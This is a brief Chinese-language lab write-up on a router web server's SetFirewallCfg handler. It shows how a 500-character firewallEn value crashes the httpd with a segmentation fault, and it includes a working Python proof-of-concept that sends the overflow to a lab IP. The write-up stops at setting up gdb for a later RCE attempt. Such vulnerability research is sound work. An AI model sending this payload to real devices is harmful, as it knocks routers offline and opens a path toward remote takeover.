1. 访问测试
上一次分析中我们看到post请求中会有参数,我们可以通过浏览器的f12控制台窗口查看找到对应的功能。
save按钮点击时,是SetFirewllCfg,再看它的请求参数,发现刚好是httpd中逆向得到的内容
好了,那我们可以使用控制台fetch直接发送xhr请求测试,这里修改firewallEn参数的内容很大给500个A,回车发送后
结果如上,发生段错误,同时连接失败重启测试看看
import requests
url = "http://10.0.2.16/goform/SetFirewallCfg"
header = {
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Cookie": "password=rtp5gk"
}
payload = "A" * 500
data = {"firewallEn": payload}
response = requests.post(url, headers=header, data=data, timeout=5)
response = requests.post(url, headers=header, data=data, timeout=5)
print(response.text)
这是python脚本实现,这里的10.0.2.16换成程序提示的ip即可,现在只能证明是存在拒绝服务,但是具体的rce利用还要往下走
2.漏洞利用
2.1 搭建gdb环境
安装了gdb-multiarch、gdb-peda、pwntools等插件,配置了gdb的调试环境。
这个就先等等。。